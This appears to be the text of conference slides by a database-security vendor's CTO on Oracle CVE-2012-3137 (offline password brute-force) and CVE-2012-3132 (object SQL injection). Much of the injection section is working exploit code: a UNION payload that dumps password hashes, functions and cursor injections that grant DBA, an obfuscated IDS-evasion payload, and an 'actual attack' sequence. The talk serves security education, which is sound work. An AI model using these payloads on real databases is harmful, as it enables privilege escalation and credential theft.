

Diving into the latest Oracle 0day bugs

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About Me



- Co-Founder & CTO of Sentrigo (now McAfee Database Security)
- Specialties: Databases, security, and programming
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Agenda



- What is a 0day
- Offline password brute-force attack – CVE-2012-3137
- Object SQL Injection – CVE-2012-3132

0day - Definition



an attack that exploits a previously unknown vulnerability in a computer application, meaning that the attack occurs on "day zero" of awareness of the vulnerability. This means that the developers have had zero days to address and patch the vulnerability. Zero-day exploits (actual software that uses a security hole to carry out an attack) are used or shared by attackers before the developer of the target software knows about the vulnerability.

Vulnerability Window



- Vulnerability found
- Exploit / PoC created
- Oracle / public learns about vulnerability
- Oracle releases CPU / PSU / SPU
 - CPU – Critical Patch Update
 - PSU – Patch Set Update
 - SPU – Security Patch Update
- User applies one of the above

- Monitor full disclosure lists / exploit db
 - <http://seclists.org/fulldisclosure/>
<http://lists.grok.org.uk/full-disclosure-charter.html>
 - Bugtraq - <http://www.securityfocus.com/>
 - Handler's diary - <https://isc.sans.edu/diary.html>

Exploit DB



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Date	D	A	V	Description	Plat.	Author
2012-11-15		-		Oracle Database Client System Analyzer Arbitrary File Upload	2627	windows
2012-10-18		-		Oracle Database Authentication Protocol Security Bypass	4888	multiple
2011-11-07		-		Oracle XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Exploit	3254	windows
2010-10-13		-		Oracle Virtual Server Agent Command Injection	2869	unix
2010-02-18		-		The Operation CloudBurst Attack	2711	multiple
2009-04-16		-		Oracle APEX 3.2 Unprivileged DB users can see APEX password hashes	677	multiple
2009-01-14		-		Oracle Secure Backup 10g exec_qr() Command Injection Vulnerability	725	multiple
2008-11-29		-		OraMon 2.0.1 Remote Config File Disclosure Vulnerability	365	php
2008-11-20		-		Oracle Database Vault ptrace(2) Privilege Escalation Exploit	766	linux
2007-10-27		-		Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit	752	multiple
2007-10-27		-		Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit (2)	747	multiple
2007-10-27		-		Oracle 10g LT.FINDRICSET Local SQL Injection Exploit (IDS evasion)	692	multiple
2007-03-27		-		Oracle 10g KUPM\$MCP.MAIN SQL Injection Exploit v2	767	multiple
2007-03-27		-		Oracle 10g KUPM\$MCP.MAIN SQL Injection Exploit	789	multiple
2007-03-10		-		Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)	613	windows
2007-02-26		-		Oracle 10g Database SUBSCRIPTION_NAME Remote SQL Injection Vulnerability (2)	29	multiple
2007-02-26		-		Oracle 10g KUPW\$WORKER.MAIN SQL Injection Exploit v2	731	multiple
2007-02-26		-		Oracle 10g KUPVSFT.ATTACH_JOB SQL Injection Exploit v2	749	multiple
2007-02-26		-		Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit v2	878	multiple
2007-02-26		-		Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit v2	783	multiple

NIST NVD CVE CCE CWE



- National Institute of Standards and Technology
- National Vulnerability Database - <http://nvd.nist.gov/>
- CVE – Common Vulnerabilities and Exposures - <http://cve.mitre.org/>
- CCE – Common Configuration Enumeration
- CWE – Common Weakness Enumeration

Offline Brute-Force Password Attack



- CVE-2012-3137
- Oracle DB servers using logon protocol 11 (based on SHA-1 password hashes)
 - 11.1.0.6/7, 11.2.0.1/2/3
 - 11.2.0.3 has an option to enable logon protocol 12
- First reported on April 2010
- Fixed after 18 months with 11.2.0.3 patchset
 - Still vulnerable for older clients
 - SQLNET.ALLOWED_LOGON_VERSION=12
- October 2012 CPU
 - Forbidding use of logon protocol 11 across all versions
 - Either use new (12) or old (10) logon protocol
 - Logon protocol 10 requires 10g DES based passwords

Offline Brute-Force Password Attack - Overview



- Client -> CONNECT packet
- Server -> ACCEPT
- Capabilities Exchange packets...
- Client -> Logon packet #1 – username
- Server -> Challenge consisting of SESSION_KEY (sk) and PWD_VRF (salt)
 - Uses password hash to AES block cipher encrypt the random session key
 - Uses PKCS7 padding with 8 0x8 bytes
- $E_{sk} = \text{AES_192_CBC}(\text{sk} \parallel \{0x08\}^8, \text{key}=\text{Password Hash})$
- Session key is 40 bytes

Object SQL Injection



- CVE-2012-3132
- July 2012 CPU
- CVSS score 6.5
- Requires create table, create procedure privileges
- All Oracle since 8i without patch are vulnerable

SQL Injection – PL/SQL



- Two execution modes
 - Definer rights
 - Invoker rights
- Source code not always available
 - There are several un-wrappers available
 - One can find injections without the source
 - Find dependencies
 - Trial and error
 - v\$sql
 - Fuzzing

SQL Injection – Demo Procedure



```
CREATE OR REPLACE PROCEDURE LIST_TABLES(p_owner VARCHAR2)
IS
    TYPE c_type IS REF CURSOR; l_cv c_type; l_buff
    VARCHAR2(100);
BEGIN
    dbms_output.enable(100000);
    OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE
owner = ''' || p_owner || ''' AND object_type = ''TABLE''';
    LOOP
        FETCH l_cv INTO l_buff;
        dbms_output.put_line(l_buff);
        EXIT WHEN l_cv%NOTFOUND;
    END LOOP;
    CLOSE l_cv;
END;
/
```

SQL Injection – Inject SQL



```
SQL> set serveroutput on
SQL> exec list_tables('SCOTT')
DEPT
EMP
BONUS
SALGRADE
SALGRADE
SQL> exec list_tables('KUKU'' UNION SELECT username ||
  ''::'' || password FROM dba_users--')
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:0B813E8C027CA786
...
...
```

SQL Injection – Inject Functions



```
CREATE OR REPLACE FUNCTION get_dba
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
    PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    RETURN 'Hacked';
END get_dba;
/
```

SQL Injection – Inject Functions



```
SQL> exec sys.list_tables('NOUSER' || scott.get_dba() --')
```

PL/SQL procedure successfully completed.

```
SQL> @privs
```

Roles for current user

USERNAME	GRANTED_ROLE
SCOTT	CONNECT
SCOTT	DBA
SCOTT	RESOURCE

SQL Injection – IDS Evasion



```
DECLARE
    l_cr          NUMBER;
    l_res         NUMBER;
BEGIN
    l_cr := dbms_sql.open_cursor;
    dbms_sql.parse(l_cr,
                    translate('1;vm3|; 4|3.13 3795z51572_9|3z23v965ze x; .
6z ;b;v79; 611;1639; ~.|3z9 1x3 95
47xm6v~e ;z1e',
' ] [ ; | 9876543210., ) (mnbvCxzlkjhgfdsapoiuytrewq~',
'qwertyuiopasdfghjklzxcvbnm( ), .0123456789| ; [ ] '''),
dbms_sql.native);
    sys.list_tables(''') || dbms_sql.execute('' || l_cr || '') --');
END;
/
```

SQL Injection – Cursor Injection



```
DECLARE
    l_cr      NUMBER;
    l_res     NUMBER;
BEGIN
    l_cr := dbms_sql.open_cursor;
    dbms_sql.parse(l_cr,
        'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE "GRANT dba to public"; END;',
        dbms_sql.native);
    sys.list_tables(" || dbms_sql.execute(' || l_cr || ') --");
END;
/
```

SQL Injection - Wrapping



```
CREATE OR REPLACE PACKAGE own_db_wrapped
```

```
a000000 1 abcd  
abcd abcd 9 62 92
```

```
9llown0XyY
```

```
+aBSui895eb0pSC9swg2JHf8upfOemZ7GbnvmzvT4nCxqyAlcztZ1ptv7ZMga3  
n6+fHlbVac7MmcB19JJfqDkhynlrig0pwVDba04q4IxWhPw8VPJ1yr6dDzmzm9BCQq  
bTDIhq
```

```
/
```

```
CREATE OR REPLACE PACKAGE BODY own_db_wrapped
```

```
a000000 1 abcd  
abcd abcd b 118 13c
```

```
ERNYhQ8IgvIjF5xjsIv4Vn7Mr5Awg
```

```
+nINfZqfHQCVw2qAkhlOLLtwRq0J3wTzXDZ2ACNSNZV
```

```
q7ThHqgkvPIFf5BBRkG8BzmglrS29fqkyu2VjB4hbzufKqMzPtGCO2VS1/  
PgsqQBO0upKyeF
```

```
tFs22G7gnian7xdfRCC8K997/O11IM36KxulqMhOfPfPEE//ts
```

```
+8T3Cr7sELbhsDV4kuqDBI
```

```
6VX3Cs2jqxhI
```

```
+qgnhfrxClimWGyS8UMsw8tjQkPJwYzZGW8Gjd5fWMH9Doiqck5+GjwT8ELf  
H06/kj/PShfNA4QReEI+GDd
```

SQL Injection – Object Injection



- Developers and DBAs never sanitize scripts

```
CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 1;
END;
/
create table " ' or 1=userxxx.f1-" (a varchar2(1));
```



SQL Injection – Lateral Injection



- Code does not have to receive parameters to be injected (Litchfield wrote about this)

```
EXECUTE IMMEDIATE 'update x set y = "' ||  
SYSDATE ||"';
```

- Running this code before:

```
alter session set nls_date_format = '' and 1 =  
hacker.attack() --';
```

Actual Attack



```
create table demo_hack (id number(20) not null,  
"FOO'||slavik.attack||'BAR" blob);
```

```
create index i_demo_hack on demo_hack ("FOO'||  
slavik.attack||'BAR") indextype is ctxsys.context;
```

```
exec dbms_stats.gather_table_stats(user,'demo_hack',  
cascade=> true)
```

```
drop table demo_hack;
```

Resources



- My Blog
www.slaviks-blog.com
- McAfee Youtube
www.youtube.com/mcafeeofficial
- McAfee Labs Blog
www.avertlabs.com/research/blog/
- McAfee Risk & Compliance Blog
Security Insights Blog
siblog.mcafee.com/?cat=46
- McAfee Labs Podcast
podcasts.mcafee.com/audioparasitics/
- McAfee DB Security products
<http://www.mcafee.com/us/products/database-security/>



